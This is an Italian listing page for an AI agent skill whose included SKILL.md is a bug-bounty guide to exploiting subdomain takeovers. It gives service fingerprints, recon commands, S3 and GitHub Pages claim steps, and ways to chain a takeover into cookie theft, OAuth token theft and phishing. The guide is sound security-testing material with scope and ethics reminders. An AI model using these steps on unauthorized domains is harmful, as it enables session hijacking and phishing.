Logo di Subdomain Takeover

Subdomain Takeover

Community
SubhiSec
subdomain-takeover

Detect and exploit subdomain takeover via dangling DNS records pointing to deprovisioned cloud services (S3, GitHub Pages, Heroku, Azure, Shopify, AWS CloudFront, etc.). Use after subdomain enumeration to identify takeover candidates.

Panoramica

Pubblicato daSubhiSec
Repositoryclaude-ai-cyber-security-skills
Nome della skillsubdomain-takeover
Stelle
45
Fork
5
File inclusi
Solo istruzioni
Link
  • Istruzioni in Markdown

    Un file SKILL.md che il modello carica quando serve, consumando token solo quando una richiesta è effettivamente pertinente.

  • Funziona con qualsiasi LLM

    Le skill IA sono in semplice Markdown, non in codice specifico di un fornitore, quindi funzionano con GPT, Claude, Gemini, Grok o un modello locale.

  • Tutto nelle istruzioni

    Tutto ciò che serve al modello è nelle istruzioni: nessun file aggiuntivo da sincronizzare.

  • Open source

    Pubblicata da SubhiSec su GitHub. Leggi i sorgenti prima di installarla.

Installazione

Installa la skill IA Subdomain Takeover in TypingMind per usarla con qualsiasi LLM, oppure copiala in un altro agente in grado di leggere SKILL.md.

1

Installa in TypingMind

TypingMind installa una skill direttamente dalla sua cartella GitHub: legge SKILL.md, raccoglie i file delle risorse e salva il risultato in locale.

  1. Apri l'app e vai su Plugin → Skill.
  2. Scegli "Installa da GitHub".
  3. Incolla l'URL della cartella della skill riportato qui sotto e conferma.
    https://github.com/SubhiSec/claude-ai-cyber-security-skills/tree/main/skills/22-subdomain-takeover
  4. Attiva la skill in ogni chat in cui vuoi averla a disposizione.
Plugin → Skill → Aggiungi skill → Da URL GitHub, poi incolla l'URL della cartella e premi Continua.
2

Installa in un altro agente

Qualsiasi agente che legge il formato Agent Skills può usare questa skill: copia la cartella della skill nella directory delle skill di quell'agente.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SubhiSec/claude-ai-cyber-security-skills.git /tmp/claude-ai-cyber-security-skills
mkdir -p .claude/skills
cp -r /tmp/claude-ai-cyber-security-skills/skills/22-subdomain-takeover .claude/skills/subdomain-takeover
Dopo la copia, riavvia Claude Code per caricare la nuova skill.

Usala in TypingMind

Attiva Subdomain Takeover in qualsiasi chat di TypingMind e al resto pensa il modello. Il nome e la descrizione della skill sono nel prompt di sistema e, non appena arriva una richiesta pertinente, il modello carica da solo le istruzioni complete: non devi mai richiamarla manualmente e non consuma token finché non viene effettivamente usata.

Il modello carica automaticamente Subdomain Takeover non appena riceve una richiesta pertinente.

Funziona con qualsiasi modello IA

Le skill IA sono semplici istruzioni in Markdown, non codice specifico di un fornitore, quindi Subdomain Takeover non è vincolata al modello per cui è stata scritta. Installala una sola volta in TypingMind e usala con GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama o un modello locale che esegui tu, sempre con le tue chiavi API.

  • Caricata solo quando serve

    Il prompt di sistema contiene solo il nome e la descrizione. Le istruzioni vengono recuperate alla prima richiesta pertinente, quindi una skill inutilizzata non costa nulla.

  • Cambia modello durante la chat

    Poiché la skill è composta da istruzioni e non da codice, continua a funzionare anche se cambi modello: il nuovo modello legge lo stesso file SKILL.md.

Istruzioni della skill

Questo è il contenuto di SKILL.md che il modello carica. Leggilo prima dell'installazione: una skill è un insieme di istruzioni che il tuo modello seguirà.

Subdomain Takeover

A free critical if found within minutes of the misconfig.

When to invoke

Trigger phrases:

  • "subdomain takeover"
  • "dangling DNS"
  • "can I take over X"
  • "abandoned subdomain"

Pre-flight: is it in scope?

Many programs exclude subdomain takeovers due to abuse. Always check.

  • If excluded → still document but don't submit
  • If allowed → high-value finding

The vulnerability

CNAME points to a service that no longer hosts content for this domain:

abandoned.target.com  CNAME  target-old-bucket.s3.amazonaws.com
                                                ↑
                                The S3 bucket doesn't exist anymore.
                                Attacker creates a bucket with this name.
                                Now they control https://abandoned.target.com

Vulnerable services (cheat sheet)

ServiceCNAME patternFingerprint (error page)Takeover steps
AWS S3*.s3.amazonaws.com, *.s3-website-*.amazonaws.comNoSuchBucketCreate S3 bucket with same name
GitHub Pages*.github.ioThere isn't a GitHub Pages site here.Create repo with that name, enable Pages
Heroku*.herokuapp.comno-such-appCreate Heroku app with that name
Azure*.azurewebsites.net, *.cloudapp.netError 404 - Web app not foundCreate Azure Web App
Bitbucket*.bitbucket.ioRepository not foundCreate matching repo
Shopify*.myshopify.comSorry, this shop is currently unavailableRegister Shopify shop
Tumblr*.tumblr.comThere's nothing hereRegister Tumblr blog
WordPress*.wordpress.comDo you want to register *.wordpress.com?Register on WP
Squarespace*.squarespace.comvariousRegister matching domain
Pantheon*.pantheonsite.ioThe gods are wise...Add domain in Pantheon
Fastlyservice CNAMEFastly error: unknown domainSometimes claimable
Cloudfront*.cloudfront.netvaries — needs investigationMore complex
Surge.sh*.surge.shproject not foundDeploy with surge CLI
Netlify*.netlify.com, *.netlify.appNot Found - Request IDAdd custom domain
Vercel*.vercel.appvariousAdd custom domain
Tilda*.tilda.wsPlease renew your subscriptionRegister on Tilda
Webflowwebflow CNAMEThe page you are looking for doesn't existInvestigate
Helpjuice*.helpjuice.comWe could not find what you're looking forRegister
Helpscout*.helpscoutdocs.comNo settings were found for this companyRegister
Freshdesk*.freshdesk.comcheckDomain unclaimed
Zendesk*.zendesk.comHelp Center ClosedRegister subdomain

Full list maintained at: https://github.com/EdOverflow/can-i-take-over-xyz

Step-by-Step Workflow

1. Gather targets

Use existing subdomain enumeration:

bash
ALL_SUBS="loot/target.com/subs/all.txt"

# Resolve all to get CNAMEs
cat "$ALL_SUBS" | dnsx -silent -cname -resp -json > resolved-cname.jsonl

# Filter only those with CNAMEs pointing outside the target's domain
cat resolved-cname.jsonl | jq -r 'select(.cname != null) | "\(.host) -> \(.cname[])"' > cname-map.txt

2. Run automated detection

bash
# subjack
subjack -w "$ALL_SUBS" -t 100 -timeout 30 -o takeovers.txt -ssl -v -c ~/tools/subjack/fingerprints.json

# nuclei takeover templates (best maintained)
nuclei -list "$ALL_SUBS" -t http/takeovers/ -severity high,critical -silent -o nuclei-takeovers.txt

# Or with httpx + grep approach
cat "$ALL_SUBS" | httpx -silent -status-code -title -body -no-color | \
    grep -iE 'NoSuchBucket|no-such-app|repository not found|sorry, this shop is currently unavailable|do you want to register' \
    > grep-candidates.txt

3. Manual verification (CRITICAL — don't auto-submit)

For each candidate, MANUALLY verify:

bash
SUB="abandoned.target.com"

# 1. Confirm CNAME
dig +short "$SUB"
# Expect: <something>.s3.amazonaws.com or similar

# 2. Confirm 404/error page
curl -s "https://$SUB" | head -50
# Look for service-specific error message

# 3. Verify takeover is actually possible
# E.g., for S3:
aws s3api head-bucket --bucket "<bucket-name-from-cname>"
# If "Not Found" → bucket doesn't exist → claimable

4. Attempt the takeover (in your own AWS/account)

For S3:

bash
BUCKET="<bucket-name-from-cname>"
REGION="us-east-1"

aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
aws s3api put-bucket-website --bucket "$BUCKET" --website-configuration '{
  "IndexDocument": {"Suffix": "index.html"}
}'

# Upload proof file
echo "Subdomain takeover PoC - claude-cybersecurity-skills" > index.html
aws s3 cp index.html "s3://$BUCKET/index.html" --acl public-read

# Verify
curl https://"$SUB"
# Should show your content!

For GitHub Pages:

1. Create a public GitHub repo named exactly `<account>.github.io` or matching CNAME
2. Add an index.html with PoC content
3. Enable Pages from the repo settings, set custom domain to the vulnerable subdomain
4. Curl the subdomain — your content appears

5. Document with proof

Take a screenshot of the served content on the vulnerable subdomain.

Impact framing (for the report)

Don't just say "I took it over." Frame:

1. SUBDOMAIN TAKEOVER  →  HOSTING ATTACKER CONTENT on app.target.com
2. + COOKIE SCOPE      →  Cookies set with domain=.target.com can be READ from subdomain
                          → Session hijack via JS on the taken-over subdomain
3. + OAUTH redirect_uri →  If OAuth allows any *.target.com → token theft
4. + CORS              →  If CORS reflects subdomains → cross-origin reads
5. + EMAIL spoofing    →  send emails "from" taken-over subdomain (looks legit)
6. + PHISHING          →  hosted phishing on real-looking domain

Output template

markdown
## High: Subdomain takeover of `abandoned.target.com` (CNAME → S3)

### Summary
`abandoned.target.com` has a dangling CNAME pointing to an unclaimed S3 bucket (`target-legacy-uploads.s3.amazonaws.com`). The bucket was claimed in our control AWS account, allowing arbitrary content serving on this target subdomain.

### Steps to reproduce
1. DNS lookup:

dig +short abandoned.target.com target-legacy-uploads.s3.amazonaws.com.

2. The S3 bucket `target-legacy-uploads` returns `NoSuchBucket`:

curl https://abandoned.target.com NoSuchBucket...

3. We created `target-legacy-uploads` in our own AWS account (us-east-1), enabled static site hosting, uploaded a marker file.
4. Result — content served on the target subdomain:

$ curl https://abandoned.target.com

Impact

  • Attacker content served on abandoned.target.com
  • Cookies scoped to .target.com (the platform's session cookie session_token uses this domain) are sent to the taken-over subdomain by browsers → cookie/session theft via JS hosted on takeover
  • Phishing: legitimate-looking subdomain enables high-trust phishing emails ("Login to your account at abandoned.target.com")
  • Brand damage if attacker hosts inappropriate content

Remediation steps

  1. Immediately remove the CNAME record for abandoned.target.com
  2. Or reclaim the S3 bucket via AWS support if needed
  3. We have NOT uploaded any malicious content; only the marker file. Bucket was deleted after PoC verification.
  4. Audit other CNAMEs in DNS for similar dangling references (see attached list — 4 other suspected candidates).

Bucket cleanup

Bucket target-legacy-uploads will be deleted in 24 hours from this report timestamp unless you'd like to claim it.


## Cross-references

- `[[subdomain-enum]]` — feeds the candidate list
- `[[continuous-monitoring]]` — catch takeovers as they appear
- `[[ato-chains]]` — takeover + cookie scope = ATO
- `[[scope-analysis]]` — verify takeover is in scope before submitting

## Common pitfalls

1. **Submitting without manual verification.** False positives from automated tools = N/A.
2. **Submitting when program explicitly excludes takeovers.** Save your time.
3. **Not claiming the resource for proof.** Some triagers want to see "real takeover", not just the dangling CNAME.
4. **Causing harm.** Don't host malicious content. Just a marker page.
5. **Forgetting to release the bucket / repo after report acceptance.** Bucket squatting is unethical.

## Severity guide

| Context | Severity |
|---|---|
| Takeover of subdomain with cookie scope `.target.com` | Critical |
| Takeover of subdomain enabling OAuth callback abuse | Critical |
| Takeover of internal-looking subdomain (high phishing potential) | High |
| Takeover of marketing/blog subdomain (low session impact) | Medium |
| Takeover of staging/test subdomain | Medium |
| Takeover via "could potentially" — without actual takeover | N/A |

## Always-rejected variant

- Reporting the dangling CNAME without the actual takeover (some programs require proof of control)
- Takeover that doesn't actually serve attacker content (e.g., bucket exists but in another acct)
- Takeover of out-of-scope assets
- "I think this is takeoverable" without claiming

## Ethical reminder

- Take over only enough to prove the issue (single marker file)
- Don't host malicious content
- Don't keep the resource — release after triage confirms
- Document the cleanup steps in the report
- If the bug bounty program is paused or your access is revoked, release the resource immediately

Domande frequenti

Cosa fa la skill IA Subdomain Takeover?

Detect and exploit subdomain takeover via dangling DNS records pointing to deprovisioned cloud services (S3, GitHub Pages, Heroku, Azure, Shopify, AWS CloudFront, etc.). Use after subdomain enumeration to identify takeover candidates.

Perché usare Subdomain Takeover su TypingMind?

Perché la installi una volta e la usi con qualsiasi modello. Subdomain Takeover è scritta in semplice Markdown anziché in codice specifico di un fornitore, quindi la stessa skill funziona con GPT-5, Claude, Gemini, Grok o un modello locale, e puoi cambiare modello durante la chat senza che la skill smetta di funzionare. TypingMind usa le tue chiavi API, quindi paghi direttamente i fornitori anziché un abbonamento per posto utente, e le tue skill e chat restano nel tuo spazio di archiviazione.

Come installo Subdomain Takeover in TypingMind?

Apri Plugin → Skill → Installa da GitHub in TypingMind e incolla https://github.com/SubhiSec/claude-ai-cyber-security-skills/tree/main/skills/22-subdomain-takeover. TypingMind legge il file SKILL.md e installa la skill, che puoi abilitare per ogni singola chat.

Quali modelli IA possono usare Subdomain Takeover?

Qualsiasi modello che colleghi a TypingMind. Le skill IA sono semplici istruzioni in Markdown anziché codice specifico di un fornitore, quindi GPT, Claude, Gemini, Grok e i modelli locali possono tutti caricare questa skill quando una richiesta corrisponde al suo scopo.

Quanti modelli IA posso usare con Subdomain Takeover?

Quanti ne vuoi. Se un modello supporta le skill, puoi usarlo con Subdomain Takeover: GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama e molti altri, tutti su TypingMind con le tue chiavi API.

La skill IA Subdomain Takeover è gratuita?

È pubblicata su GitHub da SubhiSec. Consulta il repository per i termini di licenza. Paghi solo il tuo fornitore IA per i token che usi.

Cosa sono le skill IA?

Una skill IA è un pacchetto di istruzioni riutilizzabili che insegna a un modello IA come svolgere un'attività specifica. Segue il formato aperto Agent Skills: un file SKILL.md con un nome e una descrizione, più eventuali script, template o file di riferimento di cui il modello potrebbe aver bisogno. Il modello legge le istruzioni solo quando la tua richiesta corrisponde alla skill, quindi una skill installata non comporta costi finché non viene usata.

In cosa si differenziano le skill IA dai plugin o dai server MCP?

Un plugin o un server MCP fornisce a un modello nuovi strumenti da richiamare: codice che viene eseguito da qualche parte e restituisce un risultato. Una skill IA, invece, fornisce al modello conoscenze e procedure: come affrontare un'attività, quali passaggi seguire e quali caratteristiche deve avere un buon output. Le skill sono semplici istruzioni in Markdown, quindi non richiedono server, chiavi API né ambienti di esecuzione e funzionano con qualsiasi modello.

Elenco completo

Crea subito il tuo spazio di lavoro AI

Iscriviti alla nostra newsletter per ricevere aggiornamenti sulle nuove funzionalità e sulle prossime iniziative a premi 👇